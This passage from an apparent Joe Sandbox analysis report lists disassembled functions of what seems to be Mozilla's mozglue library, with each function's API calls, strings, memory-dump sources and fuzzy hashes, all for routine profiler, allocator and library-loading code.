free.MOZGLUE(?,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE3D

Strings

!oi/, xrefs: 6C6BAD7D

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID: !oi/
API String ID: 3161513745-845032489
Opcode ID: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction ID: 4eb5dd445afc357e947c968c0e77c1b944aa70b059dce956206679de5e0986f5
Opcode Fuzzy Hash: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction Fuzzy Hash: FB3164B1A002159FDB10DF7A8C44AABB7F8EF49714F15482DE94AE7700E734E815CBA9

Function 6C6984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985AC

Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69767F
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C697693
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985B2

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction ID: b02f8cc00a9fe643691ff8c2603e189c6edef795f28809ea080049c642b51048
Opcode Fuzzy Hash: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction Fuzzy Hash: 7D218E742006029FDB14DF29C888A5AB7B5AF8930CF24492DE55BC3B51EB31F949CB59

Function 6C65B7A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C65B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C65B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C65B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C65B849

Strings

!oi/, xrefs: 6C65B7AC

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID: !oi/
API String ID: 1977084945-845032489
Opcode ID: 430ce8e043642672c9f1ad552f6acf81942139a48e01c21f819eac7f96a86c83
Instruction ID: 1d8c03aa0fa54bb534cc8f5faaa3361884c14b92f2223d894aefeb06f6f26286
Opcode Fuzzy Hash: 430ce8e043642672c9f1ad552f6acf81942139a48e01c21f819eac7f96a86c83
Instruction Fuzzy Hash: BD212CB4E002099FDF04DFA9C8859FEBBB4EF89314F148129ED06A7341E731A954CBA5

Function 6C6B6E50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6B6E78

Part of subcall function 6C6B6A10: InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6A68
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6A7D
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6AA1
Part of subcall function 6C6B6A10: EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6AAE
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6AE1
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6B15
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C6B6B65
Part of subcall function 6C6B6A10: LeaveCriticalSection.KERNEL32(6C6DF618,?,?), ref: 6C6B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C6B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C6B6EFF

Strings

!oi/, xrefs: 6C6B6E5F

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID: !oi/
API String ID: 4058739482-845032489
Opcode ID: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction ID: 7a861fe4b3ce47c9d7d0582b0418f171e1b28da3ad38869fc556fbcb7c811e64
Opcode Fuzzy Hash: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction Fuzzy Hash: 9F21A471A042199FDF04CF69D8C569E77F9EF89308F044039E809A7241DB70AA59CF96

Function 6C69F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction ID: 0bd65e644daed088f08fe6fcc9a834646c2bc799f70e34fbc658b7f133535696
Opcode Fuzzy Hash: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction Fuzzy Hash: 4D119175201206ABCB44AF5AC8889A97779FFC6759F550416FA0583F01CB71B812CBAE

Function 6C662070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,6C661C5F), ref: 6C6620AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C6620CD
__Init_thread_footer.LIBCMT ref: 6C6620E1
FreeLibrary.KERNEL32 ref: 6C662124

Strings

CoInitializeSecurity, xrefs: 6C6620C7
combase.dll, xrefs: 6C6620A9

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: e8f587b255cae212813fd91fee88bd8eef02f1395703c1e31c8269927b05aa99
Instruction ID: f4ce16b3d5a78bfb26feb4f7e9c2fbc04e8641e78ab249c781a5bd2018ad1a11
Opcode Fuzzy Hash: e8f587b255cae212813fd91fee88bd8eef02f1395703c1e31c8269927b05aa99
Instruction Fuzzy Hash: 60218075200209EFDF11CF96DC88D9A3FB6FB5A355F008114FE0492A50D731A861DF6A

Function 6C6B76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C6B7705

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C6B778F,00000000,00000000,00000000,00000000), ref: 6C6B7731
free.MOZGLUE(00000000), ref: 6C6B7760

Strings

}>il, xrefs: 6C6B76C4

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>il
API String ID: 2538299546-1725928026
Opcode ID: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction ID: 69dadac1c372adee9e4d185efa5b35e7bcfef7ba5702c5b4d1b166416e3f892e
Opcode Fuzzy Hash: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction Fuzzy Hash: C811C4B19042156BE710AF7A9C44BABBEE8EF46354F044439F848E7300E7709850C7F6

Function 6C661FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C661FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C661FFD
__Init_thread_footer.LIBCMT ref: 6C662011
FreeLibrary.KERNEL32 ref: 6C662059

Strings

CoCreateInstance, xrefs: 6C661FF7
combase.dll, xrefs: 6C661FD9

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 9276836da43abd49761e2cc01e4bc187bf8a0a87d9952ce7f783d7e40b5f3dcd
Instruction ID: 2840f0e83cf32e1256705947131910d522cbb3e7114f0a2544195fc75f5e4389
Opcode Fuzzy Hash: 9276836da43abd49761e2cc01e4bc187bf8a0a87d9952ce7f783d7e40b5f3dcd
Instruction Fuzzy Hash: 9A115E75201205AFDF10CF57C88CE963B79EB9A359F008029FD0592A40D731B861DFAE

Function 6C660EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C68D9F0,00000000), ref: 6C660F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C660F3C
__Init_thread_footer.LIBCMT ref: 6C660F50
FreeLibrary.KERNEL32(?,6C68D9F0,00000000), ref: 6C660F86

Strings

CoInitializeEx, xrefs: 6C660F36
combase.dll, xrefs: 6C660F18

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction ID: 3142b6849d6ec6b95381f9596ef0e0d97da1d837e232cb8c17506ce709f15651
Opcode Fuzzy Hash: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction Fuzzy Hash: F311C6743152419BDF10CF57C988A493774E79B325F004629ED0583B41D772B401CA5F

Function 6C69F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
!oi/, xrefs: 6C69F07C, 6C69F1BA, 6C69F32A, 6C69F41A
[I %d/%d] profiler_resume, xrefs: 6C69F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: !oi/$[D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-979565733
Opcode ID: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction ID: c3c579bf121b4f29216cc944803579b568ea5ae6b2b9047ff900d25c0825af38
Opcode Fuzzy Hash: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction Fuzzy Hash: 82F0B4752002059FDB006F669C8895E77BDEFCA29EF010415FA0583706CF31A801876E

Function 6C660E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C660DF8), ref: 6C660E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C660EA1
__Init_thread_footer.LIBCMT ref: 6C660EB5
FreeLibrary.KERNEL32 ref: 6C660EC5

Strings

kernel32.dll, xrefs: 6C660E7D
GetProcessMitigationPolicy, xrefs: 6C660E9B

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction ID: 04721a74647996172587f100570ada726f5cd43541baddcb8b94d007b7167caf
Opcode Fuzzy Hash: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction Fuzzy Hash: 720146747003928BDF008FABEA94BE233B5E746759F104525EA0182F84DB74B406CA1F

Function 6C69F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction ID: 0ca6b029334713368cae37ce8458285ea3134e2d024130434b58c9ec30fc0ab5
Opcode Fuzzy Hash: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction Fuzzy Hash: FFF05475200205AFDF006F668C8895A777DEFCA29DF150415FA0583746DB756806876E

Function 6C6905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C68CFAE,?,?,?,6C6531A7), ref: 6C6905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C68CFAE,?,?,?,6C6531A7), ref: 6C690616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6531A7), ref: 6C69061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6531A7), ref: 6C690627

Strings

<jemalloc>, xrefs: 6C6905FA, 6C69060F
: (malloc) Error in VirtualFree(), xrefs: 6C69061B, 6C690625

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
